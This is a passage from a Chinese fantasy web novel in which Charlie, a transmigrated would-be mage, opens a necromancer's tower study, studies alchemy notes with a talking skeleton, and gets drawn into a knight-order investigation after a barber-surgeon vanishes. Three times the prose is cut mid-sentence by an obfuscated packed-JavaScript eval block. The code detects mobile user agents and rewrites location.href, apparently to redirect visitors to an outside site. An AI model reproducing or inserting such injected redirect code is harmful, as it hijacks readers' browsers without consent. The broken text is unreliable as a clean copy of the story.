咒语晦涩拗口,并不像托托兰多大陆的通用语。每念一个音节,查理都能感觉到周遭的魔法元素在被牵引、被召唤,喉头也能感到明显的滞涩,好似有什么无形的力量在阻止他将咒语念出,甚至大脑都会有类似缺氧般的晕眩。 “你、你你你吐血了!”本大呼小叫。 “没事。”查理淡定地擦掉嘴角的血,“够用。” “什么,什么够用,够用什么?你的血吗?还是魔法元素?”本思绪凌乱,他觉得这样学魔法是不对的,但他能怎么办,他不过一个骷髅架子而已。 查理不光没有停,他已经开始尝试拆解咒语了。 听说强大的魔法师们,施放低阶魔法时,都是不用念咒的,甚至可以瞬发。所以说,魔法咒语只起到辅助作用,而非决定性作用。 就像那天查理跟本斗法,硬撑着不回应一样,他觉得,在这个异世界里,语言本身是具有力量的。 一句轻飘飘的“开门”,和一句气势逼人的“给老子开”,想必也会带来不同的功效。 查理不懂那晦涩拗口的咒语的深层含义,但他可以试。一句咒语是要从头念到尾一字不停,还是有着重的音节? 说穿了,施放咒语的同时调动魔法元素,就是睁着眼说话还要同时进行冥想。收、放是关键,在这个过程中,应该有其独特的韵律存在。 查理也并非奔着搞死自己去,觉得撑不住了,就停下来休息片刻。厨房的炉子里始终熬着香甜的牛奶麦粥,还有大块大块的已经腌制好的肉等待炙烤。 本看得清清楚楚、明明白白,查理拿着那把属于他主人的银制小餐刀,一块肉能切整整齐齐的八小块,确保每一块都能沾到美味的酱汁。 他甚至还抽空去洗了个澡。 洗完澡的查理,气色好多了。他发觉晚上的时候魔法元素好像更活跃一些,咒语练得也差不多了,便决定付诸实践。 为了以防万一,他带着本这个原住民的头颅一块儿来到四楼的门前,在他的见证下,拿出了法杖。 他闭上眼做了个深呼吸,将魔杖的杖尖对准了那扇紧闭的门,睁开眼的刹那,咒语脱口而出。 与此同时,杖尖泛起微光。 可就在这时,查理敏锐地察觉到,那微光闪烁,似有崩盘的迹象。施法中断,查理看着手中的法杖,眉心微蹙。 是他的咒语不够熟练?还是魔法元素的数量还是不够,不足以凝结成一个魔咒? 不,咒语已经形成了,是这扇门。 查理抬头看向那扇胡桃色的门,隐约感应到,好像是这扇门在吸收他的魔法元素,让他的咒语无法成形。 才300的元素数量,少一个都得崩。 “这怎么办?”本叹了口气,忍不住再次建议,“其实、其实燃烧自己献祭灵魂真的很棒,因为你特别虔诚,灵魂里的杂质也都烧没了,所以跟其他普通途径的死灵法师比起来,天赋好得多呢!” 查理幽幽回答:“所以有其他方式可以成为死灵法师吗?” 本发出干笑,“哈哈,其他的我不会。” 查理:“你的主人一定很喜欢你的诚实。” 本惊喜:“你怎么知道?我都忘了。” 查理:“答案就在门里。” 本又是一句,“你怎么知道?” 这一次,查理没有再回答,因为他只是随口一说。可你要说他是胡诌?答案真的不在门里吗?也许门内真的有答案呢? 那是薛定谔的答案。 在与本对话的同时,查理也没有放弃思考。短短几分钟的时间,他已经有了决定,重新拿起法杖,再次施法。 熟悉的感觉再次来临,但这一次,他没有中断施法,死咬着不松懈,而后在最后一个音节落下的同时,用全部的力气—— 一脚踹上去。 “砰!”门开了,重重地拍在墙上,又弹回来,差点把门后被做成装饰品挂在墙上的骨头拍碎。 再看查理,一滴汗珠顺着他的下颌滑落,他扶着墙壁缓缓坐下,金色的发丝贴在苍白的脸颊上,整个人看起来还是那么的忧郁、脆弱,像个手无缚鸡之力的贵公子。 本:“……” 还、还可以这样的吗? 查理半天没站起来,因为腿麻了,但他的心情是畅快的,好像穿越而来所有的憋闷、烦躁,甚至是他没有表现出来的恐慌和害怕,都在这一脚里得到释放。 良久,查理扶着墙站起,走进了神秘的四楼书房,本的骷髅头也与他的肋骨们在这里顺利会师。 书房的空间比想象中的小,三面是直达天花板的书柜,一面是窗户,窗前摆着桌椅。除了跟厨房同款的,用宝石碎料铺陈的星空纹天花板,其余都堪称平平无奇。 查理随手从书架上拿下一本书,想要打开看,却怎么也打不开。 本的一根肋骨从高层的书架上探出头来,解释道:“那是魔法书籍,你现在打不开,是因为太弱了。” 闻言,查理闭上眼,感知魔法元素的存在,调动它,注入书籍。书籍上泛起淡淡的微光,但只是转瞬即逝。 很好,无事发生。 查理并不在意自己的弱小,换了一本书继续。 什么《巫术杂谈》、《誓言书》、《星辰历书》、《论第五元素》、《厄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582925|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多的宝石》等等,每一本他都想看,但是每一本都打不开。 查理并不气馁,仔细研究了书籍的名字和摆放,发现毫无规律。晦涩难懂的书和通俗的百科类书籍可以混放,还有吟游诗人的曲谱、通俗爱情小说、冒险家游记等等,混杂其中。 最离谱的是,查理看魔法类书籍时,虽然绝大多数都打不开,但偶尔也能有一页是可以看的,唯独有一本食谱,无论他怎么尝试,都纹丝未动。 这是什么吃了就能施放禁咒的魔药食谱吗? 查理失笑,把食谱放回去,继续查找。 功夫不负有心人,在南面书柜靠近书桌的第二层,他终于找到堆放在一起的一摞笔记本,也可以称之为——《炼金笔记》。 笔记本由羊皮纸装订而成,不需要魔力就可以打开。翻开书页,一行行漂亮的花体字跃然纸上,应是由鹅毛笔写就。 这不是查理胡乱猜的,也不是因为他对笔记多有研究,而是因为书桌的笔架上就放着鹅毛笔。唯一让人遗憾的是,笔记上没有落款,查理依旧不知道这座松塔原先的主人是谁。 说到炼金术…… 查理看向了书房里的另一扇门,这扇门,应该就通往五楼的炼金实验室。他事先问过本,通往五楼的门不需要用魔法打开,它与书房可以算作一个整体。 思及此,查理不做犹豫,径直上前推开了那扇门。 门开的刹那,楼道里的灯亮了。无数玻璃灯罩下自动亮起的魔法光芒,以及连接着这些魔法灯的绘制在墙上的暗金色线条,终于让查理有了自己置身于一座法师塔的实感。 “那些线条,是魔法阵吗?本。”查理发问。 “我记不得了,大约、可能,是的吧。”本并不确定,但想了想,又告诉查理,“它很好看,不是吗?” 查理抬头看着,不可否认,这些暗金的线条互相连接但不凌乱,像古树的枝条,又像星辰连接的路径,透着股玄妙而不可言的意味。 他定了定神,拾级而上,推开了五楼的门。 “吱呀——” 老旧的门发出了令人牙酸的声响,而最早映入眼帘的,是天花板上绘制着的巨大五芒星图案。依旧是暗金的色泽,外部是一个圆,与查理以前在网上看到过的五芒星图案并无明显的不同。 只是当他走进去,再次抬头看它时,他敏锐地察觉到了不一样的地方。 “这是……倒五芒星?” “是啊。” 本的左手,神不知鬼不觉地从实验室的坩埚里冒出头来。那左手里还拎着一盏魔法灯,晃晃悠悠地照亮了方寸地面。 他说:“主人是死灵法师,向死而生,她的法阵当然是倒的啊。” “法阵?”查理敏锐地捕捉到这个词,又追问道:“你是说,这是镌刻在法师塔里的,维持法师塔运转的法阵吗?” 本愣住了,但似乎是查理的话勾起了他的回忆,他终于从空空的大脑里捕捉到一些信息,道:“也许、应该是的。因为是倒过来的,所以法阵在上面,不在下面。” 查理想了想,倒也在理,不过他隐约记得自己刚才好像看过有关于“上、下”的言论,于是又折返回书房里,拿出了《炼金笔记》。 果然,第一页就写着一句话: 【上如下,下如上,以成一。】 松塔主人会画倒五芒星的阵法在天花板上,看来不仅仅因为她是个死灵法师,也与炼金术的理论有关。 查理看得懂吗? “七窍通了六窍。”他自嘲道。 “啊?”本已经不是第一次从查理嘴中听到些奇奇怪怪的话了,但他觉得很有意思,也很好奇。 “一窍不通。” “哈哈哈哈哈哈哈……” 本听不懂,但觉得很好笑,撒下一串银铃般的笑声,欢快得像个八斤重的孩子。查理一派坦然,只是有点头痛,过度消耗后的大脑状态如针扎一般。 算了,洗洗睡吧。 7.智者 翌日,查理再次回到了炼金实验室。 如果让查理用一个更精准的词来形容炼金实验室,他会说,这是一间魔法化学实验室。 大大小小不同材质的坩埚就像女巫的药罐,摆满了实验室的各个角落。桌上的玻璃制品,与后世的蒸馏瓶、量杯、漏斗、试管等等造型相似,作用应该也大差不差。 除此之外,还有大量查理看不出用途的造型奇怪的金属器具。有像烟囱一样直通天花板的,有造型奇特的炉子,等等。 当然,魔法的世界,不会缺少神秘色彩。 正中央的墨色石桌呈现出玉的质感,桌面上镌刻着比倒五芒星更为精致、复杂的魔法阵纹。 本说,这叫炼金台,用来完成炼金术中的重要步骤。即用魔法驱动炼金法阵,完成物质转换。 查理没有急着进行实操,而是先拿出了《炼金笔记》开始研读。 根据笔记上写的,炼金术的应用共有两个方向。一个是炼制魔药,也就是所谓的炼金药剂,从普通的生命药剂到追求永生的灵药,应有尽有;另一个顾名思义,就是炼金。将贱金属,譬如铅、铜,转化为贵金属黄金。 这听起来匪夷所思,如果炼金术士真的能做到,那查理相信它会是整个托托兰多大陆最受欢迎的职业,没有之一。 “本,你的主人炼出过黄金吗?” “我不记得了。” 意料之中的答案,查理也没有多失望。他继续往后看,发现无论是炼药还是炼金,笔记上都提到了一样东西:哲人石。 它是万能的钥匙、是完美的点缀,想要将贱金属转化为真正的黄金,它是配方里不可或缺的存在。想要炼制出永生的灵药,它更是药引。而这样珍贵的存在,笔记里竟然大大方方地记录着它的配方。 “海盐、硫化铁、水银……蛋壳?”查理喃喃自语,声音里透着一丝荒谬和不可置信。 翻过页来,下一页赫然有红色的小字: 【注:盐来自透明的海 蛋壳来自巨龙巢穴】 看到这两行字,查理瞬间心平气和了,虽然也不知道自己究竟在心平气和什么。总而言之言而总之,以他如今的实力,是不可能去取什么来自透明的海的盐,还有巨龙的蛋壳的。 不过提起透明的海……查理恍惚间记起,柳利勋爵的亲生儿子阿尔芒接受传承的地方,就在透明的海。 思绪跑远,查理出了会儿神,又重新把注意力放回炼金药剂上。 松塔主人记录的药剂配方足有五十多条,这里面也不乏她不断改进配方的过程以及心得。查理来不及细看,便只是看配方的名字和具体功效,粗粗扫了一眼,最后将目光锁定在其中一个。 这个炼金药剂的名字叫做——天赋觉醒。 查理的情况是被魔咒掠夺了原有的天赋,且在魔咒失效后,也难以真正拿回。这天赋觉醒药剂,会对他有用吗? 他无法确定,便只能死马当活马医,继续问本。 本的左右手已经成功会师,身上的零部件也找了个七七八八,此刻正在自己给自己搭骷髅架子。 他听到查理的问话,愣了愣,“天赋觉醒?” 下一秒,他激动起来,“对啊,天赋药剂!你可以吃这个!” 查理被他的情绪感染,下意识地坐直了身子,“这个对我真的有用?” 关于自身的情况,除去异世穿越的部分,查理并未对本隐瞒,也没有隐瞒的必要。在松塔里,他们是一根绳上的蚂蚱。 本的骷髅手托着头颅,手动点头,“我记得主人说过,这个药剂吃不坏的,吃得多多的,猪都能施法,变成飞天神猪!” 查理发现了,本记不起主人的名字,记不起许多关键信息,但他对主人说过的某些话,譬如烧过的死灵法师更纯洁、譬如飞天神猪,可记得牢牢的。 不过……查理又思量起来。 这么好用的炼金药剂,真的没有什么缺点或副作用吗?他低头看向药剂配方,幸运根、天仙子、盐晶石粉末、天鹅翎羽、精灵之泪。 查理一看到“精灵之泪”,就知道这药剂不便宜。也许它真的没有什么太大的副作用,如果有,笔记上应该会有记录——它只是贵且稀有。 以查理目前的资产,就算他找得到原材料,恐怕都买不起。 难道,命中注定他要走上某点男主的逆袭之路? 先购买药材大量炼制初级药剂出售,完成资本的原始积累,顺道在集市捡漏,获得不为人知的宝物…… 这时,塔外忽然传来喧哗声。 查理心中警觉,立刻放下笔记,走到窗边小心谨慎地拉开窗帘的缝隙,望出去。来自异乡的灵魂又在窥探,但街上的原住民们毫无所觉。 灰帽街的白天并不算热闹,因为这条街上住着的大多是匠人。有在老鞋匠那儿学手艺的杰弗里,他的爸爸则在老约翰铁匠铺工作。而灰帽街这个名字的由来,就在于这儿曾经住过一个很有名的制帽匠,他的牌匾上有一顶标志性的灰帽。 制帽匠已经去世了,儿孙带着他的手艺搬离了灰帽街,但这个名字却留了下来。而现在这个点,本该是工作的时间,街上的人却不少。 喧闹声从集市的方向传来。 查理在五楼,居高临下,正好将灰帽街的景象尽收眼底,但也因为隔得太远而无法听清大家在说些什么。 他举目眺望,而后微微蹙眉。 是骑士团的人,看那架势,似乎正押解着什么人从集市出来,途经灰帽街。 身穿黑甲的骑士,查理在穿越过来的第一天晚上就见过。信徒当街斗殴,骑士团赶来镇压,将人带走。 今天又是为了什么? 查理耐心等待,本也好奇地想要凑过来,只是那骷髅架子还没搭好,走几步就散了。本的头颅咕噜噜滚到查理脚边,不死心地蹦了几下。 “嘘。”查理做了个噤声的手势,余光时刻瞥着窗外,等到骑士队伍走近,他看到被押解在队伍中心的人,瞳孔骤缩。 那身打着补丁的破旧巫师袍、那熟悉的罩住了半个脑袋的兜帽,是集市上那个民间智者,卖给他书的中年女人! 她怎么被抓了? 查理心中疑窦丛生,一时间忘了谨慎。蓦地,走在队列最前面的一个黑甲骑士,像感应到了什么,倏然抬头。 糟糕。查理下意识想要松手,让窗帘遮挡住自己,但就在那眼神扫过来的刹那,他硬生生忍住了这下意识的冲动,反而把窗帘拉开得更大一些,带着惊讶和好奇,往下探看。 哦对了,还有害怕。 据说这些黑甲骑士明面上由城主调遣,守卫玛吉波城,实际上直属皇室,实力极强。也只有他们,才能震慑住那群高傲的魔法师,将这魔法圣都牢牢钉在嘉兰帝国的版图上。 普通平民对于黑甲骑士的态度,是敬畏的。看到他们抓人,不会胆大得凑上去,更多的是守在路边,好奇但也害怕。 正如此刻的查理。 黑甲骑士审视着他,那双犀利的鹰眼仿佛能洞穿一切,让所有的灵魂都无所遁形。查理能感觉到自己的背上已经冷汗一片,脸色估计也不好看,但害怕和心虚是两回事。 他只是害怕,不是心虚,那个民间智者被抓跟他没有半个铜币的关系,但这位骑士大人这么看着他,就让人难以招架了。 “队长?”行进的队伍没有停下,但其中一个年轻的圆脸骑士注意到自家队长的举动,忍不住凑上前说话。 队长没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591540|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有回答。 圆脸骑士抬头看了一眼,乐了,“队长你又在吓人了,看看那可怜的小少爷,脸都吓白了,哈哈。” 队长这才扫了他一眼,周围气温骤降,圆脸骑士自动闭嘴。 不过有了他这么一打岔,黑甲骑士没有再对查理投以更多的目光。押解的队伍很快离开了灰帽街,喧嚣声也随之高了几个分贝。 “这究竟是怎么了?怎么突然过来抓人?” “肯定是骗钱的把戏被识破了呗。” “那也不至于出动黑甲骑士吧?抓一个满嘴谎话的骗子而已。” “谁知道呢?” “听说那黑心的香料商人以为是来抓他的,卷起东西就跑,谁知摔了个满嘴泥,闹了好大的笑话!” …… 系着亚麻围裙的妇人正在大谈特谈香料商人的糗态,看到熟悉的一抹金色,连忙出声叫住他,“查理?” “麦肯太太。”查理与这位邻居相处得不错,偶尔还能从她那里得到一些小小的帮助。譬如,麦肯太太会大方地告诉他如何在家中设置陷阱捕捉灰毛鼠,以防它们咬坏家具。 “怎么了,我亲爱的小查理,你的脸色可一点都不好。” “刚才是那位智者被抓了吗?前几天我还在她那里……” 查理的欲言又止和微垂的眼眸,让麦肯太太自动脑补了很多东西。灰帽街上的人都拿查理当茶余饭后的谈资,自然知道他花十铜币买魔法书籍的事情,但许多人其实并无恶意,甚至有点同情他。 哦,魔法,令人目眩神迷的魔法,谁不想成为一个魔法师呢?可怜的小查理也只是失败了而已。 “小查理,别担心,你也只是被她骗了而已。要是真为了骗人的事被抓,说不定你的十铜币还能还回来呢。” 在麦肯太太的安慰下,查理的脸色好了不少,但还是被劝着去找一找理发师。 理发师?为什么脸色不好要去看理发师? 查理心中狐疑,但看其他人神色如常,甚至跟着点头,证明麦肯太太的话是再正常不过的建议,为了不露出马脚,他只能随大流,“谢谢麦肯太太,我会去的。” 等到与麦肯太太和其他的邻居们告别,查理沿着灰帽街往外走,边走边翻看原主的记忆。片刻后,他终于找出了答案。 这个时候的理发师,除了为人们理发,还是最底层的医生。 顶级的医生是内科大夫,常居于贵族老爷们的玛格丽花园,方便为他们诊治。稍次一些的是外科大夫,身着白袍,也能从外表上一眼看出。 至于理发师,大多寂寂无名,没有崇高的社会地位,但颇受平民欢迎。 查理可以确认,原主来到玛吉波城后,还没有去看过医生。麦肯太太这么说了,倒是可以顺着她的话去拜访一下理发师。 既然理发师也是医生,或许他那里会有治疗药剂,可以观摩观摩。而且,自己这苍白的脸色确实需要一个解释,一个更好的解释。 查理现在还不想让人知道他能够学习魔法了,况且卖给他书的人刚好被抓,这背后是否有什么隐秘也未可知…… 到了。 查理抬头看向街对面不足十平米的小店,店门口的杆子上缠绕着红色的布,形成红白相间的条纹,倒真有些后世理发店的雏形。而现在看来,这红色的布,大抵是纱布的意思。 理发师就在店里,看起来三十岁左右,白衬衣外头穿着修身的马甲,有着一头卷曲的黑发、深邃的眼眸,还有两撇小胡子。隔着窗玻璃,查理观察着他,觉得他更像一个魔术师。 只见他从袖子里凭空变出一朵漂亮的玫瑰,簪在客人的发间。那深邃的眼眸望向镜子,他笑着,行了一个绅士礼,“美丽的小姐,还满意吗?” 8.理发师 美丽的小姐很满意,哪怕她穿着最普通不过的麻布裙子,脸上还有雀斑,但低头微笑的时候,发间的玫瑰还是将她衬得明艳动人。 理发师亲自将她送出了店里,在店门口偶遇查理。 “亲爱的客人,让我猜猜,你不是来理发的,而是想给你苍白的脸蛋染上一点颜色,是吗?”理发师对待查理,一如对刚才那位小姐一样绅士。 查理拢了拢身上的袍子,似乎有点畏寒,“前几天喝多了酒,也没休息好,断断续续有些头痛。” 这不是假话,查理毫无说谎的心虚。 理发师抬手将查理请进店里,让他坐在椅子上,仔细观察了他片刻,问了一些常规的问题,又转身洗干净手,用手背测了测他额头的温度,“确实不太对,比常人的温度还要低一些。” 蓦地,他又笑了笑,“要是换成那些民间智者,大抵会说你在醉酒的夜晚偶遇魔鬼了。” 民间智者。查理又听到这几个字,心念微动,顺势提起了刚刚被抓走的那个中年女人。理发师果然认识她,但又神神秘秘的,“她啊,可不止骗几个人那么简单,你可小心不要跟她扯上关系。” 查理还想打探到更多的消息,但这时理发师已经转过身去。他瞥见镜子里倒映出的理发师的脸,忽然将到了嘴边的问话又咽回去。 他垂下眼眸,抬手抚了抚额头。 “怎么,你很担心她妈?”理发师回头,问。 “我想成为一个魔法师。”查理的回答很轻,但坚定。或许是这份坚定让理发师重新对他投以好奇和打量的目光,“哦,我记起来了,你是灰帽街的查理。你还没放弃成为一个魔法师么?” 查理抬头看他,无声作答。 理发师抱臂,笑着摇头,“那你想错了,集市上的智者可不能让你成为一个魔法师,毕竟她自己都被魔法拒之门外呢。看见她的水晶球了吗?很遗憾,那个会发光的球只是一个魔术道具。” 说着,理发师打开镜子前的抽屉,拿出了一个比成人巴掌大一些的星盘,嘴里念念有词,“你的诱因是酒,酒气伤肝、脾……肝为气,脾为土……” 查理一方面惊奇于这特殊的看病方式,另一方面,从“肝为气,脾为土”的话来看,《魔法指南》书上说的四元素论,像是这片异世大陆的通用理论。 什么都是以四这个数字为基底,那五芒星的第五点是什么? 【上如下,下如上,以成一。】 是这个最后的“一”? 这时,理发师终于有了结论,“星象显示,你可以在晚上九点来找我,那个时间对你的病刚好。在此之前,你可以回去好好休息,也可以选择先服用一些酊剂。” 查理面露迟疑,“那酊剂……” 理发师冲他眨眨眼,“放心,都是我自己采了药做的,哪一天该采哪样草药,绝不会错。虽然比不上那些备受推崇的炼金药剂,可那么一小管纯净的药液,才赚你五个可爱的小圆币,一点也不贵,不是吗?” 查理遂点头,用孔乙己排茴香豆的方式,拿了五枚铜币出来。 五枚铜币,换一个小玻璃瓶里装着的淡绿色透明液体。 理发师将查理送出门,还提醒他千万不要迟到,过了那个时间就不好治疗,又得等一天了。查理点头应下,回去的路上,左思右想究竟是什么治疗—— 等等。 是放血! 放血治疗,中西皆有。查理记得自己小时候也曾见到村里的老头老太太,用针扎腿上的血管,放血以达到治病的效果。 这西医也是么?所以用星盘推算时间,是在算人体内部器官对应的星辰,根据它们之间的关联,推算出合适的时间? 在原主的记忆里,他曾目睹过多次放血疗法,大多时候都有用。而他自己也经历过,只不过身体虚弱地在床上躺了好几天罢了。 最后好是好了,可具体怎么好的,谁知道呢。 查理不禁抬头望天,碧色的眸子更显忧郁了。 啊,异世界。 啊,托托兰多。 由此可见,成为一个能够自己炼药的炼金术士迫在眉睫。 思及此,查理顿了顿,又无奈失笑。好像几天前他也这么想过——成为一个魔法师,迫在眉睫。 总而言之,迫在眉睫。 回到松塔,查理浅尝了一口试试味道,但把大部分留了下来。一方面他现在还没有分析它成分的能力,暂时封存以备后日。另一方面,他自己本来就没病。 自己没病却要上赶着去挨一刀,才叫有病。 问:他到底有没有病? 本又在给自己搭骷髅架子,看到查理回来,问:“你刚刚在喝什么?” 查理:“毒药。” 本:“那你又要死了吗?” 这个“又”字有点伤人,还好查理承受得住,说:“离死不远,也不近。惶惶没有归途,但也能苟活。” 本:“你的话真深奥啊,我听不懂。” 查理:“听不懂的都是废话。” 本更不解了,“你在讲废话?” 查理冷冷地笑,催生出冷冷的幽默感,“因为我现在还是一个废人。” 另一边,随着日暮降临,一沓手稿出现在骑士团的办公桌上。 “队长,跟那个智者有过来往的所有人的资料都在上面了。哦对了,刚才灰帽街怪塔里的那个小子,他跟智者买过一本书。前去探查的人说,他在我们离开后,去了一条街外的理发师店。我说呢,他脸色那么白,瞧着可怜极了,原来是生病了。” 圆脸骑士累得瘫在了沙发上,哪怕盔甲硌得慌,都不肯再动弹。然而站在桌前看资料的黑甲骑士抬起头来,张嘴吐出三个冰冷的字,“继续查。” 圆脸骑士发出哀嚎。 “乔治,我有预感,这次丢的是件很重要的东西。” 被叫做乔治的圆脸骑士微微一怔,他知道自己的队长不会在这种事上开玩笑,当即又坐了起来,“不是说……库房失窃,只是丢了些财物吗?” 黑甲骑士的鹰眼锁定着他,就像锁定着背后的贼人,道:“如果只是普通财物,城主府的政务官怎么会亲自出面,却又支支吾吾?还有——” 乔治提高了音量,“还有?” 黑甲骑士:“海上出事的那艘船,目的地是距离玛吉波最近的港口,船上的东西很有可能就是运往玛吉波的。出事之后,城内忽然发生了信徒斗殴事件,你还记得我们顺藤摸瓜查到了哪里吗?” 乔治仔细回想,忽然倒吸一口凉气,“灰帽街?” 黑甲骑士:“街上还有——魔法残存的痕迹。” 乔治立刻警觉,“您是怀疑魔法议会暗中出手了?” 黑甲骑士没有直接回话,只是从那堆手稿中抽出其中一张,屈指点了点。乔治立刻跑过去,往纸上一瞧,“这是……魔法学院的新生?嘶,这可麻烦了,魔法学院最是护短,有事儿也主张内部解决。我们要是想调查他们的学生,困难可不小。” “没有困难,就不算大案。”黑甲骑士的眼中闪过一道精芒,“你立刻去找政务官,让他下令,准许我们入校。” 乔治收腿,拳头砸在胸前的盔甲上行礼,“是,萨洛蒙队长!” 入夜,查理再次出门。 夜晚的玛吉波空气里都透着股凉意,举目望去,高高耸立的尖顶钟楼上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603892|142676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,白色圣钟下方的墙体外侧,是一个巨大的魔法时钟。以灌注了魔法元素的宝石为驱动力,以魔法阵为基底,据说风雨不侵、可以维持万年不停转的神圣造物。 此时此刻,圣钟的方向灯火通明。但即便是魔法圣都,也总有魔法的光芒笼罩不到的地方,譬如外围的灰帽街。 查理提着灯笼,在家家户户窗前透出来的光里走过,偶尔也会碰到一两家没有装玻璃窗的。那老旧的木窗缝里透着微弱的光,里头的妇人正在一边做着计件赚钱的手工,一边与家里的男人说话。 或许是近些日子一直在冥想的缘故,查理的五感增强不少,依稀还能听清楚屋里的对话。 今天骑士团来灰帽街附近的集市抓人,这对于灰帽街的居民来说,是大事。还未熄灯的人家里,五家就有三家在议论。 灯火摇曳,查理不急不忙地走过,听了一耳朵,最终在八点五十六分抵达了理发师店。但很奇怪的是,理发师店没有亮灯。 人去了哪里? 查理往左看,远处有几个雇佣兵勾肩搭背地走过,应该是从橡树酒馆出来的,大着舌头说话的声音很有标志性。 往右,长街的另一头,露出半个马车的身影。马车前挂着灯,灯火照亮了黑色的骏马。车夫抄着手靠坐在车厢前,似乎在打着瞌睡等人。 查理收回视线,闭了闭眼,于刹那之间进入冥想状态,仔细感知了一下周围的魔法元素——没有异常。 “笃、笃。”查理上前敲门。 门内没有回应。 奇怪。 不对劲。 查理想起理发师在提起集市智者时说的话,“她啊,可不止骗几个人那么简单。”他知道什么?又为何失约? 失约的理由与此有关吗? 查理再度回首,望向圣钟的方向。巨大的时钟已经指向了九点零一分,约定的时间过了,而理发师店仿佛陷入了永恒的寂静。 蓦地,一声“嘎!”的叫声惊扰夜空。 查理心中一凛,循声望去,就见一只黑色的鸟振翅而飞。一片黑色的羽毛掉落下来,而那黑色的身影从月亮之上掠过,眨眼间,就消失在另一条街上。 他再左右查看,那几个酒鬼已经离开了视线范围内,而那辆马车,也不见了。 可刚才有马车行驶的声音吗?什么时候离开的?马车等的人到了? 查理提着灯笼的手攥紧,转身再次敲门,没有回应。 他又等了几分钟,转头确认时间。现在到了九点十一分,理发师依旧没有出现,查理举起灯笼透过窗户往里面看了看。 镜子碎了。 以镜子中心为起点,碎出了几条纹路,却没有掉下来。而模糊的月光和灯笼烛火照耀下,那每一片碎裂的镜子里,都映着同一个东西。 查理记得,镜子正对面的墙上,是一个壁钟。 他白天进入理发店时曾扫过一眼,壁钟的时间是上午十点半。那时候的壁钟是正常运转的,而此刻的镜子里的壁钟,是晚上的八点四十七。 壁钟坏了,已经停止了转动。 就在查理到来的九分钟前。 除此之外,房间里的光线太过昏暗,查理无法确定里面是否还有别的变化。如果不是他的五感得到了增强,恐怕连镜子里的情形都看不清。 查理深吸一口气,没有多看,装作等得不耐烦的样子转身离开。他没有往马车的方向走,因为那边不顺路,沿着那条路走会很奇怪。 走着走着,他的脚步不自觉地加快,就像理发师说过的,醉酒的夜晚也许会偶遇魔鬼,而他,似乎卷进了什么了不得的麻烦里。 前方,橡树酒馆已经赫然在望。 9.夜袭 查理再次来到了橡树酒馆。 晚上九点多,正是热闹的时候。对于刀口舔血的佣兵来说,骑士团去附近的集市上抓一个民间智者的行为,不过是在一片湖里投入一颗小小的石子,除了心怀鬼胎者,根本无人在意。 查理不同,他不是这个时间段出现的客人。 酒馆招待兼老板的小儿子米什莱抱着酒桶路过,疑惑地跟他打招呼,“查理,今天怎么这么晚?” “我跟理发师约了时间,但他不在。”查理冲他投去为难的目光,“你知道他去了哪儿吗?” 米什莱扫了眼查理的脸色,没有任何怀疑,“他啊,大概又是哪个倒霉透顶的佣兵找他疗伤去了吧,常有的事。” 酒馆,是个消息集散地。而一个最低等的民间医生,他服务的对象除了普通平民,大概率还有数量庞大的佣兵。 二者结合,来酒馆找人就是个最不会出错的选项。它还离得近。 正好有鹿肉馅饼新鲜出炉,查理要了一份,再要了一瓶蜂蜜酒,打算带回去喝。喝酒不宜过量,但蜂蜜酒是托托兰多的甄选好物,据说有解毒的功效。 买一瓶回去,偶尔喝上半杯,暖暖身子也不错。 “等着。”米什莱转身忙去了。 查理在吧台边等了片刻,今天没有哪个好事的再来调侃他,坐在附近的几个佣兵,正在抱怨最近的天气。 据说黑森林的冰雪期相较往年,又延长了,是以温度迟迟无法回升。那条魔法的河流没有化冻,里头的鱼还在冬眠,原本可以早早捞上一笔的,如今又落了空。 那可是虽然吃人但肉质鲜美的魔麟鱼,如果贩卖到王城,巴掌大一条都可以卖上好价。 听着闲聊,查理终于等来了他的鹿肉馅饼和蜂蜜酒,然而也就在这时,坐在窗边的佣兵们发现了动静。 “怎么黑甲骑士又出动了?” 黑甲骑士出动一次,是一颗小石子投入湖水里,但一天之内出动第二次,还是来同一片区域,就意义非凡了。 酒馆里的客人们纷纷投去好奇的目光,查理混在里面毫不起眼,拿着东西走到门口,看到骑士队伍奔向了理发师店的方向,心道—— 果然。 灰帽街、理发师店这一带,应该都在骑士团的监控之下。白天那个骑士队长非常警觉,他看过来的那一眼,不是普通的一眼。 仿佛带着某种技能,凌厉、直刺灵魂。 这样的人,一定谨慎、周密,甚至多疑。 查理回头审视自己的行为,每一步似乎都合情合理,但合情合理之中,踩雷的概率也太高了。只是顺着麦肯太太的话来看个医生,为自己的脸色找一个合理的借口,竟然就找到了理发师的头上。 这是托托兰多给穿越者的新手大礼包吗? 